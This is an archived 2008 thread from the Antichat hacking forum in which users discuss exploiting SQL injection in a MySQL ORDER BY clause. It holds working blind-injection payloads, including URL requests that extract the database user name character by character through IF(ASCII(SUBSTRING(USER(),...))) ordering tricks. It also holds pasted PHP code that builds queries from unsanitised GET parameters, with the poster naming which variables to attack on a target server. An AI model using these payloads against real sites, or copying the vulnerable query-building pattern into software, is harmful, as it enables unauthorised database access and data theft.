Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Инъекция в Order By (https://forum.antichat.xyz/showthread.php?t=73278)

ty13r 10.06.2008 14:02

Инъекция в Order By
 
Копаясь в одном движке нашел такую инъекцию:
Код:

SELECT * FROM table WHERE 1 order by [SQL]
Т.к. union в данном случае не применить то я попытался провести слепую инъецию по методу more than 1 row описанную здесь :
Код:

SELECT * FROM table WHERE 1 order by (select if(1=2,1,(select 1 union select 2)))
Но такой запрос не выдает ошибки, т.к. таблица содержит всего одну запись и видимо оптимизатор MySQL вообще не выполняет то что написано после order by
Есть ли какие-то приемы или хитрости, чтобы выражение выполнилось??

LEE_ROY 10.06.2008 14:38

выложи всю строку с запросом включительно из исходника

Dr.Z3r0 10.06.2008 14:49

Такс берем мою https://forum.antichat.ru/thread43966.html стататью в руки и пролистываем до пункта 3.4 Иньекция после ORDER BY и читаем:

Цитата:

3.4 Иньекция после ORDER BY

Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:

SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
Код:

Первая новость
Вторая новость
Третья новость

А во второй ложь:
Код:

Третья новость
Вторая новость
Первая новость

Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
Опять ложь
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
PS пропарил насчет одной записи в таблице... соответственно выше написанное работать не будет. Как и вообще это безнадежный случай.

ty13r 10.06.2008 14:54

Код:

if (isset($_GET["direction"])) {
    $direction = $_GET["direction"];
  }
  if (isset($_GET["page"])) {
    $page = $_GET["page"];
  }

  if (!isset($_GET["sort"])) {
    $version_direction = "void";
    $sort = "server_name";
  } else if ($_GET["sort"] == 'server_version') {
    $version_direction = "server_version";
    $sort = "server_version_major ".$direction.", server_version_minor ".$direction.", server_version_release ".$direction.", server_version_build";
  } else {
    $version_direction = "void";
    $sort = $_GET["sort"];
  }

  if ((!isset($_GET["showgroup"])) or ($_GET["showgroup"] == 'all')) {
    $showgroup = "all";
    $group = "WHERE 1";
  } else if ($_GET["showgroup"] == 'Private') {
    $group = "WHERE server_ispname='$showgroup' OR server_ispname=''";
  } else if ($_GET["showgroup"] != 'Private') {
    $group = "WHERE server_ispname='$_GET[showgroup]'";
  }

  include("tpl_listing_top.php");

  if (isset($_GET["direction"])) {
    $pagedirection = $_GET["direction"];
  }

  if (empty($pagedirection)) {
    $pagedirection = "asc";
  }

  if (empty($direction)) {
    $direction = "asc";
  }
  if (empty($page)) {
    $page = 1;
    $pagestart = $page -1;
  } else {
    $pagestart = (($page -1) * $setting["perpage"]);
  }

  $serverquery = query("SELECT * FROM $dbtable1 $group");
  $servercount = number_format(mysql_num_rows($serverquery));

  $request = query("SELECT * FROM $dbtable1 $group order by $sort $direction, server_name LIMIT $pagestart,$setting[perpage]");

собственно инъекция либо в $sort либо в $direction
Инъекию в $_GET[showgroup] не рассматриваем так как на искомом серваке включено magic_quotes


Время: 10:42